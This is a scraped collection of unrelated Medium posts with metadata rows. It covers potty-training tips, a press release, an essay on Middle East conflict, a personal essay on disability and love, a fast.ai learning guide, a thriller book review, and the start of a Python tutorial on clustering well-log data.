Some parents like to buy a potette or travel potty designed for taking out and about. While others simply use toilet facilities while on the go.
2. Put the potty out
It’s a good idea to put the potty out at home where your toddler can see it and get used to it before you start potting training in earnest. Let your little one see and explore it and talk to them about how they can use it. They may like to sit on it fully clothed first.
Some parents will put a couple of potties out around the home, to avoid a quick dash up or down stairs.
3. Talk about the toilet
Now is the time to get chatty about the potty and toilet. Explaining all about wees, poos, the potty and toilet to your toddler can help them understand more about the process.
They might already be showing an interest in finding out more by following you to the toilet and watching what you do. Talk to them about the toilet, show them how the flush works and explain how important washing hands is.
4. Are they ready?
It’s a good idea to only start potty training once your little one shows signs they are ready for it. Rather than trying to get them to do something they may not be ready for.
If you do start potty training and it’s not successful, don’t worry too much. Setbacks or regressions can happen and are normal. You can keep their potty out in view, take a break from potty training and try again in a few weeks.
5. Natural timing
If your tot tends to go to the toilet at the same time each day, for example first thing in the morning, take advantage of this daily habit. Try keeping their nappy off and suggest they try using the potty first thing, or if they tend to go after a meal try then. You might also start to recognise signs they are about to go and may be quick enough to encourage them onto the potty in time.
6. Washing hands
Teach your toddler about washing hands and good hygiene from the start of potty training. If they don’t like washing their hands you can try to make it more fun by singing songs and letting them play with the soap. It’s good to explain to them why it’s important to wash hands after going to the toilet - to keep bugs and bacteria at bay.
7. Make it fun
Learning to use the potty and sitting on the potty doesn’t have to be a boring activity. It might help to chat to your little one about everything in the bathroom or read them stories. Praising your child for their efforts will encourage them and is usually met with enthusiasm.
8. Be calm and patient
Using a potty is learning a completely new skill for your child. It might take time to master it and it’s best to go at your little one’s pace. Children learn to control their bladder and bowel when they are physically ready and when they want to be clean and dry. It can sometimes feel frustrating, but they will get there in their own time and you will be so proud when they do (NHS Choices, 2015).
9. Accept the inevitable
It’s inevitable that there will be little accidents and sometimes potty training setbacks or a regression. The best thing to do is accept that learning a new skill like using the potty is like anything new – it takes time, and practice makes perfect. Try to pack a bag with a change of clothes, along with toilet paper or wipes, for when you go out and about, so you are prepared for any mishaps.
10. Be positive
Stay upbeat and help motivate your little one. Praise them for trying or doing well on the potty. Most toddlers react well to lots of praise and encouragement and will be more likely to ask to use the potty or toilet themselves. You might also find your child responds enthusiastically to a sticker chart or reward chart.
Potty training requires your patience and your little one’s concentration. Like many other child development stages, your toddler will learn to use the potty when they are ready | https://medium.com/@gurudevtechnical1/top-10-tip-for-baby-potty-f4863d5d1 | ['World Best Products'] | 2021-01-24 15:28:07.651000+00:00 | ['Babycare', 'Productivity', 'Babyhealth', 'USA', 'Baby'] |
How do journos get paid to write such dreck? | How do journos get paid to write such dreck? Kathleen Parker said that no one could have predicted COVID-19. Actually, experts had been predicting an epidemic for years, I read their articles. Also, the CDC used to have experts on the ground in China, but Trump slashed that department. | https://medium.com/@mannyotiko1/how-do-journos-get-paid-to-write-such-dreck-972ee5e49cad | ['Manny Otiko'] | 2020-12-12 18:57:49.151000+00:00 | ['Covid 19 Crisis', 'Covid 19', 'Trump', 'Media Criticism', 'Politics'] |
SFIA Appoints Bill Patterson as New Chief Business Officer | SFIA Appoints Bill Patterson as New Chief Business Officer
CONTACT:
Alli Schulman
[email protected]
301.495.6321
SILVER SPRING, MD (Nov. 16, 2020) — The Sports & Fitness Industry Association (SFIA) is pleased to announce the appointment of Bill Patterson as SFIA’s Chief Business Officer, effective immediately. Mr. Patterson previously served as Vice President of Corporate Marketing and Strategic Accounts at OpSec Security.
“Bill Patterson provides a fresh and innovative approach to the future of SFIA as our organization evolves during this unprecedented period,” said SFIA President & CEO, Tom Cove. “Bill has the ideal skill set and experience to introduce new projects and programs, expand and deepen our service to SFIA member companies, and grow the sports and fitness industry.”
Mr. Patterson spent the last 17 years at OpSec Security, playing an integral role in their marketing and sales management team. In addition to advancing the company’s digital presence and revenue streams, Mr. Patterson previously served as OpSec Security’s Vice President of Global Licensing, where he was responsible for the brand and royalty protection of OpSec’s licensing clients including MLB, NFL, NBA, NHL, NASCAR, Learfield Licensing, NYC & Company, Hard Rock Café, and many others. His experience with the sports leagues and other major players in the sports arena, as well as relationships built throughout that time, has resulted in Mr. Patterson’s intrigue and interest in the sports and fitness industry.
“Leveraging his significant experience and many insights, Bill will help SFIA build stronger connections within the industry and form new relationships more broadly,” said SFIA Chairman Dan Arment. “We are confident in his ability to bring opportunities and ideas that strengthen the industry now and in the future.”
After receiving his bachelor’s and master’s degrees at Virginia Tech, his 25-year career has spanned the industries of home improvement retail, direct marketing agencies and video gaming with responsibilities including advertising, marketing, direct-mail, communications, loyalty programs, brand management and sales management.
ABOUT SFIA: The Sports & Fitness Industry Association (SFIA), the #1 source for sport and fitness research, is the leading global trade association of manufacturers, retailers, and marketers in the sports products and fitness industry. SFIA seeks to promote sports and fitness participation, as well as industry vitality through research, thought leadership, public affairs, industry affairs and member services. For more information, please visit www.sfia.org.
### | https://medium.com/@sfia/sfia-appoints-bill-patterson-as-new-chief-business-officer-670c2796e728 | ['Sports', 'Fitness Industry Association', 'Sfia'] | 2020-11-16 21:15:10.422000+00:00 | ['Sports', 'Industry News', 'Press Release', 'Fitness', 'Association'] |
The Start of Another Decade of Conflict and Denial in the Middle East? | A man carries his baby through a rubble covered street in war-torn Syria
Whilst I left primary school, left London for Devon, sat my GCSEs, left sixth form and got a job, what had started as civil unrest in Syria evolved into a multifaceted struggle for control of the Middle East. A struggle that has and continues to tare families and nations apart. This struggle has raged for thousands of years and always the people of the Middle East suffer. If it was not Persia, it was Macedonia. If not Macedonia, the Mongols. England played its ‘divine’ part in the crusades of course. Until promises made to the Arab people, in exchange for their combative efforts against the Ottoman Empire, were broken as part of the partition and abolition of the Ottoman Sultanate by non-other than the French, British, Italians and Russians (although emphasis should be primarily placed on Britain and France). Despite Lawrence’s efforts to represent Arab interests, the Sykes-Picot agreement carved away thousands of years of history, with a single stroke of a pencil and ruler. Thus, indeed, the Middle East changed forever.
The map of the Middle East after the Sykes-Picot agreement, which resulted in the carving up of the region
You would be forgiven for thinking that the division, of one of the most historically and culturally significant regions in the world, would require careful consideration. It would be no falsehood to say that this was not the case. Sykes had only visited, the regions he would divide, as a tourist and spoke no Arabic. It is fair to say that he was not an expert on the matters that he advised Churchill on. In fact, the first draft of the borders you see above were ad-libbed: invented by Sykes off-the-cuff, as it were. There were no clear cut cultural, lingual, religious or other kind of distinctions between the areas he split. To summarise, he just decided that they looked like good places for lines. One begins to understand the character of Sykes when they read minutes from the cabinet meetings. When asked of the nature of his plans in the Middle East, he replied, “I should like to draw a line from the ‘e’ in Acre to the last ‘k’ in Kirkuk”. Of course, it is true, that significant negotiations were still required with Faisal, the Arab people’s representative at the negotiations of 1916, 1918 and Versailles in 1920, as well as with (Super Mario himself) Georges Clémenceau.
Georges Clémenceau
However, it is not an exaggeration to say that the Middle East was changed forever by the graphite of one man’s HB pencil. Which makes it all the more difficult for me, as I am decedent of the Sykes family of Sledmere in Yorkshire and find myself a relative of a man that I struggle to do anything but hate. Then again, I also find myself a relative of Richard III. A king who undoubtedly takes a close second place, behind King Herod, as one of history’s most hated figures, if not most hated king, so there’s that.
The modern generation are so used to seeing the Middle East in ruin and it’s people held at gun point. We forget it’s significance. Agriculture and the keeping of cattle first appeared in Iraq. The first record of a trading and financial transaction was found in Syria from 2300 BCE. The first library of all the world — that would be Nineveh in Iraq in the 7th Century.
It is the site of the Garden of Eden.
The Middle East is steeped in history. It is no wonder that religions covet it to be their holy land. Furthermore, it is clear that appreciation of the Middle East did not run high amongst the Conservative government’s conscience as they took it for themselves. The map above may appear meaningless to you. Not everyone can be expected to take an impassioned interest in the Middle East. In fact, in 2015 of 37% of young Americans could find Iraq on a map. If you would like to see how familiar you are with the Middle East try and label a blank map before you look at the map below. However, I warn you, you may shock yourself.
A modern, fully labelled map of the Middle East
Another one hundred years of disputes of influence between the world’s largest powers and minor factions’ territorial disputes has changed the lay of the land, but not beyond recognition for Sykes and his colleagues. However, what has not changed is the deep set resentment of colonial and foreign interference. Who can blame them? It is no different from (the hypothetical situation of) Haiti redefining England’s border with Scotland. It seems absurd when flipped the other way around. However, it is all too easy for Western powers, especially those with significant colonial pasts, to see representation of their interests in foreign powers as a rite of passage or as a duty. The lines blur here and it becomes more of a ideological argument about colonialism — something that I’d like to avoid as it gets heated quickly. Adversely, I think it is fair to say that the management of imperialism in the Middle East is not one of Colonialism’s strong points. You don’t have to be a Marxist to see that. However, I wouldn’t land everything at colonialism’s door step for the Middle East, but is nonetheless important to remember that the borders of these Middle Eastern nations were drawn in the same room that Boris Johnson now sits in, again, making decisions that will influence the Middle East’s future.
The 2010’s were a decade not unlike the others that had come before it: Middle Eastern plight grew (unchecked). Leaders of Western powers came and went, while their legacies in the Middle East did not diminish. Obama’s attempt to neutralise the growing threat of Iran was seen by his critics as nothing more than appeasement. The Iranian Nuclear Deal saw vast cash-flows into the hands of those that backed the terrorist organisations that the United States and its allies were united in fighting against. Despite a change of government the United States and United Kingdom were coming from a rocky foundation. The illegal invasion of Iraq in 2003 was not favorable back at home. Bush and Blair’s ‘War on Terror’ was considered by many ‘The War for Oil’.
The much disputed evidence for Weapons of Mass Destruction and the possible murder of those investigating the existence of WMDs made the United States and Kingdom look less than innocent (whether they were guilty or not). The name David Christopher Kelly might not ring thousands of bells but I will refill your memory. Kelly was employed by the MoD, here in Britain, having formerly been a weapons inspector with the United Nations. The same United Nations that said that invasion of Iraq was unlawful. Kelly spoke to the Observer :
“ They are not mobile germ warfare laboratories. You could not use them for making biological weapons. They do not even look like them. They are exactly what the Iraqis said they were — facilities for the production of hydrogen gas to fill balloons.”
However, Kelly was happy with the majority of the dossier claiming that Hussein possessed WMDs at the time of invasion. Nonetheless his body was discovered in his house in Oxfordshire — wrists slit and coproxamol ingested. The controversy of the invasion reached an all time high. The campaign continued. Countries that considered themselves keepers of the peace received condemnation and their failing military operations fell into disrepute. Desperate to disassociate themselves from the failings of previous administrations, Osama Bin Laden was executed in 2011 and US and UK troops withdrawn. Tensions with Iran never diminished. Russia, who like the UK and US, had had a stake in the Middle East since Sykes border redefinition in 1916, allied themselves with Iran. Thus creating a new Cold War. Despite this second sentiment of a cold war, Syria was piping hot and in 2011 minor unrest exploded into one of the most devastating, destructive and complex wars in history.
A traditional war, best summarised by looking to the World Wars, is relatively simple and relies upon there being two sides. The Syrian Civil War (yes civil) has several sides all fighting one another and fighting for different things. War is not as simple as it was, when Britain and France divided the Middle East among themselves some one hundred and four years ago, hence why wars in the Middle East can be primarily deemed unsuccessful: there are unforeseen consequences, such as power vacuums and alike, that only cause space for terrorist organisations to spring back.
What’s more in 2014, the United States extended it’s operations in Iraq, the war in Afghanistan continued to rage, with the taliban imposing horrific living conditions on those caught in their territories (especially women), and in 2015 the Yemen war erupted — thrusting the country into humanitarian crisis. The ‘Yemen: 2019 Humanitarian Needs Overview’ revealed that 24 million people require humanitarian aid or protection with 14.3 million people’s needs being ‘acute’. Yemen was unstable economically, which inevitably led to the removal of Abdrabbuh Mansur Hadi, the pro Saudi-Arabia ‘President’ of Yemen, by the Houthi Movement. Saudi Arabia continues to lead intensive, gruelling military action in Yemen which has directly resulted in 4,800 civilian casualties by Saudi-Arabian airstrikes alone, with 7,000 being killed directly by military action since 2016. Yes, those are airstrikes using British manufactured missiles. These missiles made their way to the Saudi-Arabians as a continuation of Britain’s long arms related agreements with the Saudis, partially as a consequence of the controversial £42bn Al-Yamamah arms deal that Margaret Thatcher signed, as well as the use of the influence of Mark Thatcher (whose construction projects in Saudi-Arabia were quickly approved). The crisis in Yemen worsens as two-thirds of the country, 20 million, are in ‘famine’. Two million children under five desperately require means to prevent death by malnutrition. Yemen, Syria and Afghanistan are in crisis.
I had written this far in the article when I woke up to the news that Iran’s most taxing General, Qasem Soleimani, had been assassinated by a US airstrike. In some regards, this was some of the most shocking news of direct action to emerge from the Middle East, especially from Iran, in recent years — most certainly since the nuclear deal. Soleimani was a genius at fighting war with the Americans and British through proxy. He funded militias and terrorist groups so that Iran never had to take direct responsibility for those attacks on tankers or those attacks on Saudi-Arabian oil facilities or the proxy conflict with Israel. In some ways it seems fitting for him to assassinated by the Americans in a divert attack. Furthermore, a more than apparent attack that took place in Iraq and also killed Iraqi commander Abu Mahdi al-Muhandis (something that has not been as widely reported as The Honest Times would like). The dispelling of US troops from Iraq would mean major set backs to the US campaign there.
The argument for complete withdrawal from the Middle East is a compelling one — that way the West could not be seen to be the evil ones by the thousands that have taken to the streets in protest and mourning for Soleimani’s funeral. This argument doesn’t always fall flat like some like to believe. The Middle East is a Jenga tower, with the West and Iran or Russia as the players of the game. The West removed the first block in 1916. They initiated the current course of events. What has happened is that the West and Russia have gotten deeper and deeper, removing more and more blocks — all that remains now is for the tower to collapse completely. With this in mind one could say that the West should never have got involved in the Middle East in the first place and they should withdraw immediately. If only it were that simple. The counter to this of course is one of conscience. Millions live in persecution by extremist states (such as Iran that execute those who are homosexual) and militant terrorist organisations that brutally abuse women and children and oppress their human rights based upon gender in the most horrific ways (such as the taliban and ISSIS). Is it not right that as those that started this mess and those with the means to stop this that we should try? Again it is not that simple. One could argue that the West colonised them until imperialism was frowned upon and then they thrust democracy or a puppet dictator in power, neither of which these nations were ready for. These nations, like Iran, persecute homosexuality just like the British and English governments and religion did for hundreds of years — the Middle East will modernise best on its own, without foreign interference. And the counter arguments go on and on. It’s clear there is no simple solution.
It is apparent that political leaders of the West must question their presence in the Middle East, especially as the now waits for Iran’s ‘revenge’.
The crisis deepens. | https://medium.com/@bphunt.com/the-start-of-another-decade-of-conflict-and-denial-in-the-middle-east-29b480d6692d | ['Ben Shares'] | 2020-09-02 19:15:09.092000+00:00 | ['Syria', 'Middle East', 'Iran'] |
Finding Love Within | Photo by Gautam Krishnan on Unsplash
It’s not the end of the world to be disabled, believe me, I know, I’ve had cerebral palsy all my life. I know all the struggles, the stares, the cruelty, the laughs, the rejection, the physical barriers, the barriers of attitude. But I’ve come to see that this life is to teach me something about patience, compassion, understanding, and also to looking beyond the physical body and getting to the core of humanity which is the soul or the self within, Being disabled does not mean anything, anything can be positive or negative, it’s your own attitude towards life which makes it positive or negative. In a sense the cerebral palsy has been a gift.
A gift? You must think I’m nuts. It is a different concept certainly, but it is true that suffering is a great teacher of compassion. As a child I suffered from spasticity and a tense body that would not cooperate with my mind, now it seems a double whammy, because I also have back problems and hip trouble caused by the cerebral palsy, so I am in pain a good deal of the time.
Since people can’t readily understand my speech, I’ve had to develop patience in repeating myself, or finding other ways of communicating. I’ve developed a will to live my life as fully as possible and if that includes falling in love, so be it. I’m just like any other woman; I have all the same passions and desires, a need to be loved as well as a need to give love and to share my life with someone special.
Finding someone special is difficult, how many people will even take the time to talk to me and get to know who I am? How many will take a chance — how many can see beyond the physical issues? How many people can truly accept me as I am? Very few, and even fewer are the ones I will trust my heart to. I’m not just looking for a lover, but for the qualities I like; a friend… I finally met somebody who seemed interested in me and who also had all the qualities I look for.
It was exciting to feel that a man found me attractive, and to feel that he liked and cared about me more than just as a friend. It was always so electric when we touched, a sweet passionate fire would sweep through my entire body, and it seemed that he was always touching me in some way; whether to grab me at my waist and tickle me, or to give me a big hug where I’d be pulled off the ground and swung gently back and forth in a tight embrace. Sometimes he would just place his hand over mine to tell me to relax and take my time — and then there were those eyes of his, big clear blue eyes that looked at me with so much love sometimes.
He was there for me when my mother was going through treatment for cancer, perhaps that was the only reason he came into my life. Perhaps he did love me as a woman. Perhaps I asked too much of him too soon. I had never had a boyfriend, never been on a date, and never made love to a man. I realized at some point in my early thirties that what I wanted in my life is a man to share my life with. When this man came into the picture I just wanted him so badly, and I became addicted to the touching and I craved more and more of it and I just wanted him to love me so badly.
I know he loved me as a friend. To say that the man I loved didn’t love me is wrong. I know he loved me and liked me. He never said any harsh words to me, never deliberately or knowingly hurt me, (until he left the ashram to be with a girlfriend). He was a very patient and good humored soul. I just wanted to give him everything I could, wanted to be friends until the end of time. I’ve cried a lot these past months, and at times it felt my heart would break. My heart did break, but it broke open in a beautiful way so that I could love him in a very pure way, as well as my love for everybody deepened to a new depth; this is the true love, the true spirituality. For in all my pain, there has been something deeper and stronger sustaining me, I had to go very deep within my own being once again and discover my own love, find my own center.
Photo by Ben White on Unsplash
And in that center, in that love, there was no anger, no resentment, if I was angry at him, it was totally dissolved in that love, anger had no chance to build up. There was really nothing to be angry about, but the mind keeps trying anyhow. With meditation and chanting all my anger was being rooted out of me, dissolved and turned into love. A different kind of love. I was amazed to see how deep this love can go. I had been practicing meditation for over four years at that time and the love kept growing still deeper and deeper.
I kept wondering how much deeper this feeling of love can grow? How could I manage to hold it all in? It takes a certain kind of strength — you know how overwhelming it can be to feel love for one person, imagine feeling intense love for many people all at once. The love has to grow, the strength has to grow to hold it too. What’s growing is our awareness of our own inner source of strength, love and joy that happens through meditation on that inner source as well as divine grace, which can happen when we open our minds to great teachers and allow their words to root out or false notions of who we are.
Why did I seek love in the first place? What was it about joining with a man that made me feel I was whole? Couldn’t I feel whole when I was alone? Whole and healthy and strong within my own self? The happy answer is yes. Yes, I can feel happy, healthy, strong and whole within my self while I am alone or when I am in a relationship. Everything I desire from a relationship can be found right within my own self. The reason I craved love, the reason I sought love from a man was because I wasn’t tapping into the wellspring of my inner self which is the one and only source of love, joy, peace and happiness I will ever find. If I can’t find these things inside myself, then whatever joy or love I happen to find in another person or object will always only be temporary. This is important for everybody to know.
When I saw that the relationship could go no further than a friendship, and I saw what it was doing to me, though I still loved him very much, my mind started to spin and I asked myself hundreds of questions.
~~~~~It’s not easy not to have expectations, desires, hopes and dreams. Our culture has taught us to believe that we need somebody, somebody to care about us, somebody to give us that love which many people are so hungry for. These concepts have been ingrained in you and me from the time of birth. In romantic love or in exclusive love, there is always fear; fear of rejection, fear of losing the person we love, although in truth we never really have that person. In divine love however, there is no fear, there is only that love.
Actually without that longing for joy and love there can be no longing for God or however we conceive our highest aspiration, whomever we pray to. We really long for love which is unconditional love. For there to be a light side, there must also be a dark side, otherwise we would not search for light, for joy or love. When we practice meditation, or find our inner strength we reach a point where we are naturally joyful, loving, and in tune with the music of life — totally at one with the universe.
Through meditation on the inner self, I have found I can tap that never-ending source of love and joy, and when I tapped that inner source I realized I was already whole and complete within my own self. Even though I live in this body, I am not just this body. I then realized that love and joy don’t come from others, nor can these things really be given, but they can be shared. And it’s that sharing of love with another that I long for, sharing of life’s joys and sorrows, sharing quiet time together.
My mother did not give birth to a child with cerebral palsy; I was born perfectly normal. However, I did sustain brain damage as an infant while I was ill with Jaundice. Cerebral palsy is brain damage to the central nervous system which controls all the muscles in the body and how they interact with each other. Growing up with disabilities was difficult, but there were also good days and moments of joy and elation, as well as the frustrations, the struggles.
If I truly want to be happy, if I want to know divine love, I must first know and love myself in the deepest sense. By loving myself as well as the self of all, I can love others much more fully and deeply than I used to experience. I AM HAPPY, happier than I’ve ever been in my life and my happiness continues to grow.
Photo by Charles Postiaux on Unsplash
I am here in this physical plane to grow and evolve into my highest potential which is a state of great peace and love. And to help me evolve and grow, I must go through certain situations, and so I must learn the lessons of true love and compassion, which is why I fell in love with the man, and other men since then. Have you ever thought about it really? Why do we fall in love? What is the purpose of falling in love?
I will tell you what has come to me through my introspections; When I fall in love, it means my heart has opened up to someone — for whatever reasons — I had only a limited amount of love most of the time for a small number of people, but when I started on a path of meditation, I started feeling more love for everybody on a universal level, then one day I saw this man and boom, I thought I was “in love.”
The truth is that what I was responding to was a reflection of my self, the man may or may not feel the same way, right? It was all in my own consciousness that this love was taking place, the other person hasn’t yet crystalized in my mind as ‘real’. I realized later that being ‘in love’, and loving him were two different things. The love within ourselves goes beyond the carnal desires, beyond the quirks, to the essence of the soul within, the self within, divine love is not exclusive love for only one person.
Time — and meditation on my own inner source of strength have healed the wounds of hurt and disappointment on more than one occasion since the 1980s. Just because these relationships did not turn out as I had hoped, doesn’t mean it’s the end of the world. I am determined to get on with my life.
Photo by Cody Chan on Unsplash
Each day is a new beginning, another chance to renew my connection with my own source of inner strength and love, and a chance to help others. When my spirit is hurting, I take refuge in nature; in the trees, in the grass, in the wind, in the water flowing by.
Tamar Raine 1984/2020 | https://medium.com/@magraine/finding-love-within-a0a120679652 | ['Mag Raine'] | 2020-12-16 06:04:27.291000+00:00 | ['Finding Yourself', 'Joyful', 'Disability', 'Love', 'Sadness'] |
Fast-tracking Fast.ai | An opinionated guide on how not to fail with learning machine learning
I meet a lot of developers and entrepreneurs who want to learn machine-learning almost on an everyday basis.
Conversation on LinkedIn while this article rested in my drafts
These were some of the questions that were asked
“ How do I start learning AI?
What are neural networks?
What is the difference between AI, ML, and DL?
I tried to learn DL but the math was insane — I didn’t understand it”
Here’s how the questions look like (actual data collected)
So, let’s assume that there is a task at hand. To achieve this task, you have to turn knobs. All knobs need to be set to a precise position so the desired outcome can be achieved.
Now, when we look at a Coursera course (the Andrew Ng ones) — you’re learning a lot of things, why knobs? How much should you turn? Why should you turn? What happens if you turn too much?
While it’s great to know all this information but this doesn’t answer how we can tackle real-world problems. Often, I ask people “Why do you want to learn machine learning?” The answers help me roughly classify people that want to learn machine learning into two classes.
People who want to spend time understanding how the knobs work first but don’t necessarily want to turn them — This set of people do not usually intend to write code, or even if they do, it is always secondary. They understand very well how the parameters (remember, here: knobs) work, what the parameters are for and what happens to the outcome if they (the parameters) are changed. In all honesty, this class is sparse. People that turn knobs first and then understand how the knobs work- Now, there’s a high probability you belong here. You have dabbled in python and maybe even with numpy and pandas libraries. You have probably sheepishly looked at kaggle competitions and the many DeepLearning coursers that somehow seem to outdo each other with content and you have concluded on one thing.
Holy Sh!#, there’s a lot to know in this space.
You do not need an original idea to get started. I wish someone told me that when I was learning machine learning. Every time I learned how to build a classifier, I always tried to identify a good problem I could solve with my new-found knowledge ignoring Kaggle competitions. But, more on this later. I promise.
In 2016, I strongly advocated for beginners to use TensorFlow and to also consume content from Andrew Ng’s course. At the time, Andrew Ng was working on DeepLearning.ai and it seemed as though his content was ahead of everyone else’s (IMHO). Later, I noticed a lot of these people having a mental block towards learning ML — Simply because, in these platforms, you are taught to turn all knobs. This is the same reason I didn’t get around learning ML my first time. It took me a while to understand that watching lectures and reading papers do not equate to doing machine learning. The reason is simple —
Do you remember how when you were learning for loops and if conditions for the first time, you probably had a tough time trying to visualize how these things worked? Then, in 2013 MIT had a fun way for kids to learn programming which looked easier and appealing? And the kids on Scratch could understand programming concepts quicker than us?
Remeber Scratch?
In a lot of ways, what Scratch was to traditional programming, Fast.ai is to Machine Learning.
Fewer knobs to turn. Abstracting things that are not required to know during initiation. Very outcome-driven. Fast.ai teaches an approach called ‘ Top-Down’. That essentially means — big picture first. Fewer knobs to turn. Taking what you learned and implementing it — even if it meant that you don’t understand what the knobs do.
Lesson one covers loading the dataset, training a resnet34 or a resent50 and looking at our outputs. This encourages learners to ask more practical questions like “How do I load my dataset? How can I get a user to upload one image and link that to the classifier?
Tensorflow, on the other hand, gets beginners worried about activation functions, dropouts or more. In a lot of ways, I think we all look for a maximum of accomplishment for a minimum amount of work done (at least on day 1) and with fast.ai, the people that stuck around for a few lessons felt a greater sense of accomplishment.
So, in summary -
Fast.ai takes an approach where it teaches you a cutting-edge research+Practitioner led field in a way that a young kid is taught Sports. Don’t spend too much time reading about your sport, just go out and play.
Most importantly don’t forget to swing again if you miss.
Code > Consume — Get started with coding now, break out of just watching videos and reading books. self-assess and then consume more content. Concepts > Details — Know your concepts first, you will gradually dig into all the details. Vertical learning > Horizontal Learning — Stick to one framework, master the concepts, then broaden your horizon to more frameworks and libraries. Collaborate > Compete — Seriously, ask in the forums. Do not be intimidated, they are not filled with veterans. There are always beginners and help will be given to those who ask for it.
It’s okay to rewrite code for something you think is a simple idea if you start by building cats vs dogs classifier, understand as much as you can about the classifier before trying on your idea for a classifier.
Don’t be afraid of reading the open-source code of the library you are using.
Also, let me tell you-It indeed is an overwhelming field. Becoming a great practitioner is hard, it will require a lot of patience and practice.
Lastly, don’t be afraid to reach out to the experts. When I failed to learn machine learning (this was pre fast.ai) Sebastian Raska’s book on Machine Learning in Python was probably one of my favorite books that I used a lot.
I gathered my courage to speak with Sebastian about his work and the book and he even sent me an e-signed copy of his book!
You can buy his book here, but I urge you to do your research since a lot has changed since 2017 :)
Oh yes, the Kaggle competitions — it may feel like right now everybody is talking about them and also you may feel like everybody’s code is superior to yours but take some time off, go to the get started section (if you can’t find it) and even if the problems sound repetitive and outlandish, give it a try.
I hope this works for you! Don’t forget to code, code, and code.
I wish you well on your quest. | https://medium.com/quick-code/fast-tracking-fast-ai-90de49eb3244 | ['Suhas Dattatreya'] | 2019-08-30 15:54:40.698000+00:00 | ['Programming', 'Deep Learning', 'Learning', 'Learning To Code', 'Machine Learning'] |
Book Review: A Dangerous Man by Robert Crais | Robert Crais photo by Mark Coggins from Wikimedia Common
Isabel Roland is a 22 year old bank teller. One of her somewhat regular customers is Joe Pike. One day he is her last customer before lunch. At lunch Isabel (known as Izzy) is kidnapped and Pike sees it. The average person might not notice or, if they did, would perhaps call the police. Luckily for Isabel, Joe Pike is not an average person. He is a dangerous man and he rescues her. But her troubles aren’t over because she wasn’t some random victim: The men who tried to kidnap her keep coming. And Joe Pike (and his partner Elvis Cole) keep helping her.
A Dangerous Man has that great quality of thriller novels: It grabbed me from the opening page and didn’t let me go until the end. It also had some other qualities I like in a thriller:
The plot, while full of twists, is also straightforward: Bad guys are after Izzy. Good guys (Pike and Cole and also various law enforcement people) are trying to protect her while figuring out why people ar after her.
The writing is clear and basic and doesn’t get in the way. I don’t want fancy language in thrillers, but I also want grammatical sentences. Crais delivers both.
The plot keeps moving. In some forms of literature, I’m a fan of digressions. But not in thrillers.
A clear delineation of good guys and bad. This isn’t the place for moral ambiguity or philosophical conundrums. Good. Evil.
Believable characters. OK, you have to sort of accept Elvis Cole and Joe Pike for what they are, but at least when they get hurt it hurts. And Izzy is very believable as a confused and frightened young woman.
Isabel’s history is gradually revealed at the same time as Pike and Cole pursue the bad guys and it’s an interesting history; I won’t spoil the plot by saying how it is interesting but the reveal is well-done.
Fans of the series may enjoy learning a bit more about John Chen, the brilliant criminalist who sometimes helps Cole and Pike and is willing to break the rules to do so. I find Chen a bit of a problem as he is rather a stereotype not just of a dorky scientist who is clueless about life, but also of the ``Asian man’’ with some of the same characteristics. Yeah, sure, there are some people who fit the stereotype, but perpetuating it isn’t great tactic. There’s no need for Chen to be Chinese; there’s not even a need for him to be a man. How about a dorky but brilliant woman scientist from Oklahoma?
But, overall, I very much enjoyed A Dangerous Man and I think fans of the genre and the series will too.
Robert Crais is the author of more than 20 novels, including 17 in the Cole/Pike series. He has also written for television and has won several awards for his work. | https://medium.com/peter-flom-the-blog/book-review-a-dangerous-man-by-robert-crais-46807dbc1b62 | ['Peter Flom'] | 2019-08-10 12:26:44.057000+00:00 | ['Book Review', 'Thriller', 'Books', 'Mystery'] |
How to Use Unsupervised Clustering on Well Log Data with Python | How to Use Unsupervised Clustering on Well Log Data with Python
Application of unsupervised cluster analysis on well log data to identify lithofacies (Image by Author)
Understanding the subsurface lithology is an important task in geoscience and petrophysics. Using a variety of electrical measurements generated from well logging technology we are able to make inferences about the underlying geology, such as the lithology, facies, porosity, and permeability.
Machine Learning algorithms have routinely been adopted to group well log measurements into distinct lithological groupings, known as facies. This process can be achieved using either unsupervised learning or supervised learning algorithms.
Supervised learning is the most common and practical of machine learning tasks and it is designed to learn from example using input data that has been mapped to the “correct” output. Alternatively, we can run the modelling using Unsupervised Learning, where we let the algorithms identify underlying patterns within the data that may not be easily visible during data exploration.
In this tutorial, we will be carrying out unsupervised learning classification using two clustering methods (K Means Clustering and Gaussian Mixture Modelling ) and comparing the results with an established Lithofacies curve.
What is Clustering / Cluster Analysis?
Clustering of data is a common form of exploratory data analysis (EDA) which is used to divide up the data into different groups based on shared characteristics or properties. Data points that are similar to each other are grouped together in the same cluster, and those that are different are placed in another cluster.
K-Means Clustering
K-Means clustering is a very commonly used unsupervised machine learning algorithm. It is used to group data into K number of clusters by minimising the distance between the data point and the centroid.
The centroid is initialised at k random points in the data space and all points around it are assigned to the relevant cluster based on the distance to the centroid. The centroid is then adjusted to the central point of the cluster and the points surrounding it are reassigned. This continues until either there is no change in the centroids or the points remain in the same cluster or until a maximum number of iterations is reached.
K-Means is a hard clustering method where a data point either belongs to a cluster or it does not. It also carries out clustering by applying a circle (or hyper-sphere in multi-dimensional datasets)to the data.
Gaussian Mixture Modelling
The GMM method also allows data points to be clustered, except that it accounts for data variance, results in a softer classification, and rather than being distance-based it is distribution-based.
Also, the data point being classified has a probability of being one cluster or another.
While K-Means clustering works great if the data clusters are circular, however, in petrophysical and geological situations data rarely forms nice circular patterns. GMM modelling uses eliptical shaped cluster/decision boundaries and is, therefore, more flexible.
An excellent article looking at the differences between the two methods can be found at https://www.analyticsvidhya.com/blog/2019/10/gaussian-mixture-models-clustering/
Dataset
The dataset we are using for this tutorial forms part of a Machine Learning competition run by Xeek and FORCE 2020. The objective of the competition was to predict lithology from existing labelled data. The dataset consists of 118 wells from the Norwegian Sea.
The data and notebook for this article can be found on my GitHub repository at https://github.com/andymcdgeo/Petrophysics-Python-Series.
Importing Libraries & Data Loading
The first step of the project is to import the libraries that we require. For this example, we will be using NumPy for working with arrays, pandas for storing data, seaborn and matplotlib for displaying the data.
We will then read in the data using pd.read_csv and then view the data details using the describe() method.
Data description for the
As it is quite a big table, we can view the columns by calling upon df.columns .
This will return an array of the columns within the dataframe:
